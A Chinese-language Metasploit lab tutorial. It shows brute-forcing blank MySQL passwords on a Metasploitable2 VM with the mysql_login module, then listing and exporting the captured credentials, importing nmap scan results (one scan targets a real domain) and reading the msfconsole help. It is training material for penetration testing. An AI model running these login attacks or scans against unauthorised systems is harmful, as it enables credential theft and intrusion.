我们启动一台Metasploitable2-Linux靶机网络模式为桥接IP:192.168.1.180
登录Metasploitable2-Linux系统用户名root,密码:123456
输入ip a 查看ip地址
登录Kali开始搜索模块
msf6> search mysql_login
msf6 > use auxiliary/scanner/mysql/mysql_login
查看模块配置项
msf6 auxiliary(scanner/mysql/mysql_login) > show options
msf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root
参数:BLANK_PASSWORDS 含意:Try blank passwords for all users #为所有用户尝试空密码 。
blank [blæŋk] 空白的
开启为所有用户尝试空密码
msf6 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true
设置目标主机
msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.1.180
msf6 auxiliary(scanner/mysql/mysql_login) > exploit
执行成功
使用后端凭证命令creds , 列出数据库中的所有凭据
Credentials [krəˈdenʃlz] 凭证;证书;
msf6 auxiliary(scanner/mysql/mysql_login) > creds
数据库后端命令:
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
例1:将前面扫描mysql数据库空密码信息导出
msf6 auxiliary(scanner/mysql/mysql_login) > db_export -f xml /root/bak.xml
注:导出只支持两种格式:xml和pwdump
常用的导出格式为 xml
msf6 auxiliary(scanner/mysql/mysql_login) > exit
例2:将扫描的结果导入另一台机器的Metasploit中
我们就不再开一台新Kali,直接重置数据库,当成新的来用
┌──(rootxuegod53)-[~]
└─# msfdb reinit
连接Metasploit
└─# msfconsole
msf6 > hosts
msf6 > db_import /root/bak.xml
msf6 > hosts
msf6 > hosts -h
在这里,最重要的是选项 -c,此选项使我们能够选择要用hosts命令显示的数据的列或字段(类似于SQL中的select命令)。在上图中可以看到显示的可用列。
例:显示指定列的主机信息
msf6 > hosts -c address,name,os_name
msf6 > hosts -d 192.168.1.180
除此之外我们还可以直接将NMAP的扫描结果导入到Metasploit数据库中我们新开一个终端窗口来进行扫描。
└─# nmap -A xuegod.cn -oX xuegod.xml
-oX 将扫描信息导出到XML文件中
我们回到Metasploit导入扫描结果
msf6 > db_import /root/xuegod.xml
msf5 > hosts
msf5 > services
msf5 > services -R 101.200.128.35
扩展:
在msf命令提示符下输入help后,显示的命令列表和作用描述。
msf6 > help
? 帮助菜单
banner 显示一个metasploit横幅
cd 更改当前的工作目录
color 切换颜色
connect 连接与主机通信
exit 退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep grep另一个命令的输出 如: grep creds help
help 帮助菜单
history 显示命令历史
irb 进入irb脚本模式
load 加载一个框架插件
quit 退出控制台
route 通过会话路由流量
save 保存活动的数据存储
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为一个值
setg 将全局变量设置为一个值
sleep 在指定的秒数内不做任何事情
spool 将控制台输出写入文件以及屏幕
threads 线程查看和操作后台线程
unload 卸载框架插件
unset 取消设置一个或多个特定于上下文的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号
advanced 显示一个或多个模块的高级选项
back 从当前上下文返回
edit 使用首选编辑器编辑当前模块
info 显示有关一个或多个模块的信息
loadpath 路径从路径搜索并加载模块
options 显示全局选项或一个或多个模块
popm 将最新的模块从堆栈中弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 从所有定义的模块路径重新加载所有模块
search 搜索模块名称和描述
show 显示给定类型的模块或所有模块
use 按名称选择模块
handler 作为作业启动负载处理程序
jobs 显示和管理作业
kill 杀死一个工作
rename_job 重命名作业
makerc 保存从开始到文件输入的命令
resource 运行存储在文件中的命令
db_connect 连接到现有的数据库
db_disconnect 断开与当前数据库实例的连接
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块高速缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有笔记
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
creds 列出数据库中的所有凭据